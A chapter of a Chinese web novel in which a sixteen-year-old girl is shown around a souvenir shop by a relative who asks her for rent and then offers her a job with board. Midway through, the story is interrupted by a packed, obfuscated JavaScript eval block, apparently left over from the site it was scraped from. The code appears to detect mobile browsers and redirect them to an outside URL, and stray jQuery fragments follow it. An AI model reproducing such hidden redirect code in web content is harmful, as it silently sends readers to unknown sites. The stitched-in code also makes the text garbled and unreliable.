彼时里见椿帮昭奈戴好特制眼镜后便站起身，他往前走了几步，注意到她没有跟上来，扭过头嘱咐：“能动了吗？能动了就自己从地上爬起来。”


    里见昭奈试着动了动腿，跳起来拍拍身上灰扑扑已经看不清本来颜色的褴褛衣衫。视线随身高升起，匍匐在地的青蛙公主成功解除诅咒恢复人形，她好奇地东张西望。


    这里，是西阪著名旅游胜地，黑天市场。


    天空一碧如洗，川流不息的人群穿梭于各色商店之间，五光十色的巨型食物店招亮在眼前，观览船盛着八方来客漂荡在波光粼粼的人工运河里漫游，坠在檐下的提灯与彩旗迎风招展。空气里不时飘来铁板的滋滋冒油声与炸物的香气，繁华得令人目不暇接。


    在街角的十字路口旁，矗立着一幢风格复古的四分之一半圆形建筑。建筑物的第一层，是一家挂着木质店头招牌的纪念品小店。店门是一扇镂空的黑色铁艺玻璃门，其上悬着一串做成捕梦网形状的镀彩水晶挂饰，在阳光下折射出璀璨夺目的光斑。


    这家店的店名为——


    香樟树之里。


    “还愣在那里做什么？”


    青年站在店门前抱臂催促，里见昭奈闻声回头，匆匆跟在他身后，迈进香樟树之里的大门。


    推开店门的瞬间，清脆的风铃声在头顶响起，唱出有朋自远方来的雀跃歌谣。


    伞状七色玻璃吊灯映在天花板上勾勒出莲花的形状，金碧辉煌的西洋古董自鸣钟挨挨挤挤堆了满墙。苍翠欲滴的琴叶榕躲在右边的角落里兀自招展，在它附近，安放着唯一一组可以让人暂时歇脚的藤木桌椅。


    “一楼是店面，卖些普通的旅游纪念品，也有书，”里见椿在前面带路，他一路穿过琳琅满目的商品，满意地停在装着各色口袋文库本的落地式书架前，“有感兴趣的书可以自己随便拿，如果不知道哪本好看的话我也可以为你推荐。”


    昭奈的目光向书脊上的名字一排排扫去。


    《禅与摩托车修理艺术》、《仿生人会梦到电子羊吗》、《人间椅子》、《1984》、《马用一根脚趾站立》、《追忆逝水年华》……甚至还有《美少女战士》。


    她抽出了博尔赫斯的《小径分岔的花园》。


    “好，承惠八百日元。”


    里见椿笑眯眯地把戴着黑手套的手伸到她面前。


    里见昭奈瞟了他一眼，默不作声地把书又塞了回去。


    八百元够她吃好几顿蛋黄酱肉松紫菜包饭了，去市立图书馆借来看也是一样的。


    “哎呀，是没有喜欢的吗？太可惜了。”


    里见椿微笑着，表情看不出半点惋惜的样子。


    “二楼是起居室和仓库。”


    他踩上楼梯，仅一臂余宽的木梯因年久失修发出嘶哑的低鸣。


    里见昭奈跟在他身后上楼，她低着头，目光自然垂落，落在里见椿因为浴衣被动作带起而露出的一小截白皙精致的脚踝上。


    她礼貌地移开了视线。


    “我住在二楼主卧，厕所和厨房分别在走廊两端，”里见椿步履轻盈地在走在长廊上，为她介绍，“仓库是我房间左侧这一间。”


    在这幢和洋折中的小楼里，他推开一扇又一扇吹寄障子，仿佛魔术师正在展示一只又一只魔法箱，随时会有一群白鸽伴着彩带“啪”地一下扑棱着翅膀闪现。


    里见椿拉亮吊灯，眼前的房间大小约为八叠，四周横七竖八地堆满了瓦楞纸箱，只在房间正中央留出一小块空地，放着只红白相间的被炉。


    “呀，其实这间本来是想留给你用的，”他挠了挠头，“但你来得有点突然，没时间打扫整理了。”


    沉默。


    “别不说话呀，这样一圈看下来，公主殿下意下如何呢？”


    里见椿笑盈盈抱臂。


    他似乎不说话就浑身不舒服。


    里见昭奈垂着眼帘，沉默片刻，才鼓起勇气说：“那个……我该如何称呼您呢？”


    她忖度着，找了一个可能性比较大的称呼，犹豫着试探性开口：“……哥？”


    毕竟里见椿看起来也大不了她几岁。


    “哎，”里见椿闻言抬手做了个劝阻的手势，“那种事情无所谓，你直接叫我名字就可以。非要按辈分来算的话，你算我太爷爷的弟弟的重孙女，但我的辈分又和你父亲差不多是同辈……嗯，你喊我一声‘小叔父’不算过分。”


    哇哦，真是意想不到。


    眼前的人超级加辈。


    她从小连父亲长什么样都不清楚，如今居然从天而降一个能力超群的小叔父。


    里见昭奈的表情晦暗不明。


    “小……叔父？”


    她满心迷茫地开口。


    “真乖。”里见椿喜上眉梢，伸手揉了揉里见昭奈的头发。里见昭奈眉头一皱，没来得及躲开，就听见他说：“既然公主殿下满意的话，那就交定金吧！”


    “诶？”


    “定金啊，”里见椿拖长声音，“房租定金，月租五万日元，礼金一个月押金一个月保证金一个月，看在都是亲戚的面子上，礼金就免了，统共十万元。怎么样，很上道吧？像黑天市场这种地段，你大概再也找不到五万行情的房子了哦？”


    里见昭奈瞪大眼睛。


    十万！她怎么可能一口气拿得出这么多！


    她宁可回神坂道被恶灵附身，反正这么多年来也习惯了。


    恶灵哪有穷可怕。


    原以为投奔的是可信赖亲戚，没想到对方竟是笑面虎中介。


    里见昭奈沉默，她暗暗咬牙。这里是里见椿的地盘，他要是突然拍拍手喊出一帮黑衣人，把她绑架了说不给钱就撕票，她也毫无还手之力。


    冷汗自背后滑落，里见昭奈心中五味杂陈。


    外婆，这个人……真的靠谱吗？


    唯今之计，走为上计。


    里见昭奈心一横，猛然五体投地来了个土下座。


    “咚！”


    “喂！”


    少女的膝盖与地面撞击出巨大声响，里见椿猝不及防，被吓了一大跳。


    “里见椿大人的救命之恩，在下永世感激没齿难忘，无奈在下囊中羞涩，对里见椿大人的大恩大德无以为报，待时来运转后，在下必为大人效犬马之劳。”


    时来运转？


    死猪不怕开水烫，她也不知道她什么时候时来运转。


    里见昭奈熟练且面无表情地吐出一长串感激涕零的敬语，梆梆磕了两个响头，随即从地上飞快爬起来，头也不回地朝楼下潇洒走去。


    听完她的话，里见椿这才后知后觉地反应过来，对方其实并不是他想象中养尊处优众星捧月的灵媒世家大小姐。


    那事情就变得更有趣了。


    “等等！”


    他赶忙追上去，重新审视眼前的少女。


    里见昭奈转身，神色漠然。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616604|143460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她一身狼狈，清丽的脸蛋上满是灰尘，浅杏黄的睡衣脏得几乎看不出原色，手肘处的布料被彻底磨烂，暴露在外的肌肤上遍布触目惊心的伤痕，偶有鲜红的血珠沿着她纤秀的指尖滑落。


    从头到尾，她都没有喊过一句疼，仿佛受伤这件事根本不存在。


    哪怕现在，她也仅仅是用那双黝黑清亮的眼睛波澜不惊地默默观察着他，像一头随时准备逃跑，警惕、倔强、敏锐又灵动的鹿。


    “你多大了？”


    “十六岁。”


    “高中生？”


    “嗯。”


    “从哪里来的？”


    “神坂道。”


    “接下来呢，你准备往哪里去？”


    回家。


    里见昭奈险些脱口而出。


    可是……家呢？


    神坂道公寓？


    那里还能被称为是她的家吗？


    她被柔软的迷惘浸没片刻，顺势沉默下来。


    里见椿心下恻然。


    他好像有点太得意忘形了。


    他明明只是……只是有点……


    有点什么？


    对于自己的心情，里见椿素来感觉不甚明晰，他毫不犹豫地将心头那一丝浮光掠影般的异样感抛至脑后。


    “总之今天非常感谢您的帮助。如果没有别的事情的话，我就先行告辞了。”


    里见昭奈恭敬地朝他鞠了一躬，转身准备离开。


    “十六岁，也到法定打工年龄了。”


    慵懒清朗的男声在身后响起。


    “不想试试吗？完全依靠自己挣钱，过独立又自食其力的生活。”


    这一次，里见昭奈没有回头，径直朝门口走去。


    这种事情，不用他说她也在做。


    ……就是打工挣满学费生活费对于高中生来说很难也很慢罢了。


    “明明拥有梦境回溯这样独一无二的天赋，也不考虑将它变现么？”


    她握上香樟树之里的门把手。


    “兼职店员的基础时薪是一千五百日元。除此之外……你有没有听说过一个叫做‘耶梦加得’的网站？以你的能力，在上面通过接委托挣钱的话，报酬可是非常可观的哦。”


    里见椿慢条斯理地继续，他身上好似有种天然的自信——一种绝对能够将她留下的自信。


    里见昭奈停在原地。


    人与人之间，不过是利用与被利用的交换关系。哪怕是情感这种务虚的东西，也能够使用金钱轻易地进行购买，以价值的多少来简单地进行衡量。


    她明白。


    所以，倘使他只是纯粹想和她讨论利益交换的话……


    她确实会考虑。


    “……你想要我怎么做？”


    “留下来，留在这里工作。”


    “请允许我拒绝。”


    里见椿对她的一口回绝不以为意，他走到她身边，笑眯眯地抛出杀手锏。


    “包食宿。”


    里见昭奈收回准备推门的手。


    她盯着眼前这个形貌昳丽的青年。


    俊美，轻佻，作为灵媒实力强劲，不按常理出牌。看不清楚目的，但好像对她并没有恶意。


    半小时前，他们还是陌生人，是世界上随处可见的两根平行线，擦肩而过不相识。


    要相信一次试试看吗？


    “……成交。”


    她听见自己的声音。